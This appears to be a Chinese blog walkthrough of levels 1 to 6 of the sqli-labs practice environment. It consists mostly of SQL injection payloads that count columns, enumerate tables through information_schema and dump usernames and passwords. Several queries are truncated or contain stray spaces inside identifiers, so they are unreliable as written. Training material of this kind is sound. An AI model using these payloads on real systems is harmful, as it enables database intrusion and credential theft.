sqli-labs最详细指南1-6

在开始指南前,我们先学习一下基础的注入语句,具体功能如下,这是我们指南的基础。

判断有多少列
 order by 4---

判断数据显示点
 union select 1,2,3 -- -


显示出登录用户和数据库名
 union select 1,user(), database()


查看数据库有哪些表
 union select 1, (select group_ concat(table_ name) from information_ schema. tables where table_ schema


查看对应表有哪些列
 union select 1, (select group_ concat(column_ name) from information_ schema. columns where table_ scher


查看账号密码信息
 union select 1, (select group_ concat(concat_ WS (0x7e, username,password))from users),3---

第一关 基于单引号的字符型

1.判断注入点

先尝试注入一下

id=1 'and 1=1 -- -

2.把1=1改成1=2,不报错也不显示任何信息,说明可以利用 ’ 字符注入

id=1 'and 1=2 -- -

3.确定注入字符后,判断有多少列, 超出列数会报错

id=1' order by 4 -- -

4.判断数据显示点

id=0' union select 1,2,3 -- -

5.基本注入语句注入

判断有多少列
 id=0' order by 4---

判断数据显示点
  id=0' union select 1,2,3 -- -


显示出登录用户和数据库名
  id=0' union select 1,user(), database()


查看数据库有哪些表
  id=0' union select 1, (select group_ concat(table_ name) from information_ schema. tables where table_ schema


查看对应表有哪些列
 id=0'  union select 1, (select group_ concat(column_ name) from information_ schema. columns where table_ scher


查看账号密码信息
 id=0'  union select 1, (select group_ concat(concat_ WS (0x7e, username,password))from users),3---

这样第一关就通过了

 第二关布尔型注入

尝试注入语句

id=1 and 1=1 -- -

发现可行后,重复以上注入步骤。

判断有多少列
 id=1 order by 4---

判断数据显示点
  id=1 union select 1,2,3 -- -


显示出登录用户和数据库名
  id=1 union select 1,user(), database()


查看数据库有哪些表
  id=1 union select 1, (select group_ concat(table_ name) from information_ schema. tables where table_ schema


查看对应表有哪些列
 id=1  union select 1, (select group_ concat(column_ name) from information_ schema. columns where table_ scher


查看账号密码信息
 id=1  union select 1, (select group_ concat(concat_ WS (0x7e, username,password))from users),3---

第三关 基于’)的字符型注入

尝试注入一下代码

id=1') and 1=1 -- -

发现可行后,继续常规注入

判断有多少列
 id=1') order by 4---

判断数据显示点
id=1') union select 1,2,3 -- -


显示出登录用户和数据库名
id=1') union select 1,user(), database()


查看数据库有哪些表
id=1')  union select 1, (select group_ concat(table_ name) from information_ schema. tables where table_ schema


查看对应表有哪些列
id=1') union select 1, (select group_ concat(column_ name) from information_ schema. columns where table_ scher


查看账号密码信息
id=1')  union select 1, (select group_ concat(concat_ WS (0x7e, username,password))from users),3---

第四关  基于")字符型注入

判断有多少列
 id=1") order by 4---

判断数据显示点
 id=1")  union select 1,2,3 -- -


显示出登录用户和数据库名
 id=1")  union select 1,user(), database()


查看数据库有哪些表
 id=1")  union select 1, (select group_ concat(table_ name) from information_ schema. tables where table_ schema


查看对应表有哪些列
 id=1")  union select 1, (select group_ concat(column_ name) from information_ schema. columns where table_ scher


查看账号密码信息
 id=1")  union select 1, (select group_ concat(concat_ WS (0x7e, username,password))from users),3---

第五关  基于’字符型的错误回显注入

判断有多少列
 id=1' order by 4---

判断数据显示点
id=1' union select 1,2,3 -- -


显示出登录用户和数据库名
id=1' union select 1,user(), database()


查看数据库有哪些表
id=1'  union select 1, (select group_ concat(table_ name) from information_ schema. tables where table_ schema


查看对应表有哪些列
id=1' union select 1, (select group_ concat(column_ name) from information_ schema. columns where table_ scher


查看账号密码信息
id=1'  union select 1, (select group_ concat(concat_ WS (0x7e, username,password))from users),3---

第六关  基于"字符型的错误回显注入

判断有多少列
 id=1" order by 4---

判断数据显示点
 id=1"  union select 1,2,3 -- -


显示出登录用户和数据库名
 id=1"  union select 1,user(), database()


查看数据库有哪些表
 id=1"  union select 1, (select group_ concat(table_ name) from information_ schema. tables where table_ schema


查看对应表有哪些列
 id=1"  union select 1, (select group_ concat(column_ name) from information_ schema. columns where table_ scher


查看账号密码信息
 id=1"  union select 1, (select group_ concat(concat_ WS (0x7e, username,password))from users),3---

这就是sqli labs的1-6关的全部指南啦

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

星星也倦了/

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值